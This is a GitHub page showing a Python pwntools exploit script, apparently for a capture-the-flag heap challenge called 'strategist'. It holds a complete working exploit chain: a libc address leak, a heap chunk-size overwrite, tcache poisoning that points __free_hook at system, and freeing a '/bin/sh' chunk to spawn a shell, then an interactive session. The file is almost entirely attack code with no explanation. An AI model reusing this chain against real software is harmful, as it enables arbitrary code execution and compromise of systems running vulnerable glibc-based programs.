-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
165 lines (132 loc) · 5.45 KB
/
Copy pathexploit.py
File metadata and controls
165 lines (132 loc) · 5.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/env python3
from pwn import *
gs = '''
continue
'''
def start(elf):
if args.REMOTE:
return remote("127.0.0.1", 1337)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
def newRecvall(p, timeout=1):
data = b""
while True:
try:
chunk = p.recv(timeout=timeout)
if not chunk:
break
data += chunk
except EOFError:
break
log.info(hexdump(data))
return data
def newSend(p, send, newline=True):
if newline:
log.info(b'SENDING (via sendline): ' + send)
p.sendline(send)
else:
log.info(b'SENDING: ' + send)
p.send(send)
log.info(hexdump(send))
def newRecvuntilAndSend(p, until, send, newline=True, timeout=1, error=True):
data = b""
while True:
try:
chunk = p.recv(timeout=timeout)
if not chunk:
break
data += chunk
if until in data:
break
except EOFError:
break
if until not in data and error:
log.info(b'Expected: ')
log.info(hexdump(until))
log.info(b'Received: ')
log.info(hexdump(data))
log.error(b'Expected `until` not found in received data')
log.info(hexdump(data))
newSend(p, send, newline)
def attempt_exploit():
p = None
try:
elf = ELF("./strategist")
context.binary = elf
# context.terminal = ['tmux', 'splitw', '-hp', '70']
libc = ELF("./glibc/libc.so.6")
ld = ELF("./glibc/ld-linux-x86-64.so.2")
# Start the process/connection
p = start(elf)
# === Leak libc address ===
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'1280')
marker1 = b'AAAStartMarker'
marker2 = b'AAAEndMarker'
newRecvuntilAndSend(p, b'Please elaborate on your plan.', marker1 + (b'A' * (1279 - len(marker1) - len(marker2))) + marker2)
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'32')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'B'*31)
newRecvuntilAndSend(p, b'> ', b'4')
newRecvuntilAndSend(p, b'Which plan you want to delete?', b'0')
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'1280')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'C'*8, newline=False)
newRecvuntilAndSend(p, b'> ', b'2')
newRecvuntilAndSend(p, b'Which plan you want to view?', b'0')
libc_addr_leak = int.from_bytes(newRecvall(p)[0x36:0x3c], byteorder='little')
log.info(b'libc_addr_leak: ')
log.info(hex(libc_addr_leak))
libc.address = libc_addr_leak - 0x3EBCA0
log.info(b'libc.address: ')
log.info(hex(libc.address))
free_hook = libc.sym['__free_hook']
log.info(b'free_hook: ')
log.info(hex(free_hook))
system_addr = libc.sym['system']
log.info(b'system_addr: ')
log.info(hex(system_addr))
# === create new chunks ===
newSend(p, b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'D'*39)
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'57')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'E'*56)
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'F'*39)
# === corrupt the chunk of Plan E by using Plan D. We changed the size of Plan E from 0x51 to 0x61 ===
newRecvuntilAndSend(p, b'> ', b'3')
newRecvuntilAndSend(p, b'Which plan you want to change?', b'2')
newRecvuntilAndSend(p, b'Please elaborate on your new plan.', b'G'*40 + b'\x61', newline=False)
newRecvuntilAndSend(p, b'> ', b'4')
newRecvuntilAndSend(p, b'Which plan you want to delete?', b'4')
newRecvuntilAndSend(p, b'> ', b'4')
newRecvuntilAndSend(p, b'Which plan you want to delete?', b'3')
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'88')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'H'*80 + p64(free_hook), newline=False)
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'X'*8)
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', p64(system_addr))
newRecvuntilAndSend(p, b'> ', b'1')
newRecvuntilAndSend(p, b'How long will be your plan?', b'40')
newRecvuntilAndSend(p, b'Please elaborate on your plan.', b'/bin/sh\0', newline=False)
newRecvuntilAndSend(p, b'> ', b'4')
newRecvuntilAndSend(p, b'Which plan you want to delete?', b'6')
newRecvall(p)
newSend(p, b'whoami')
resp = newRecvall(p)
if b'root' in resp or b'ctf' in resp or b'kali' in resp or len(resp) > 0:
p.interactive()
p.close()
except:
log.info(b'Error')
p.close()
attempt_exploit()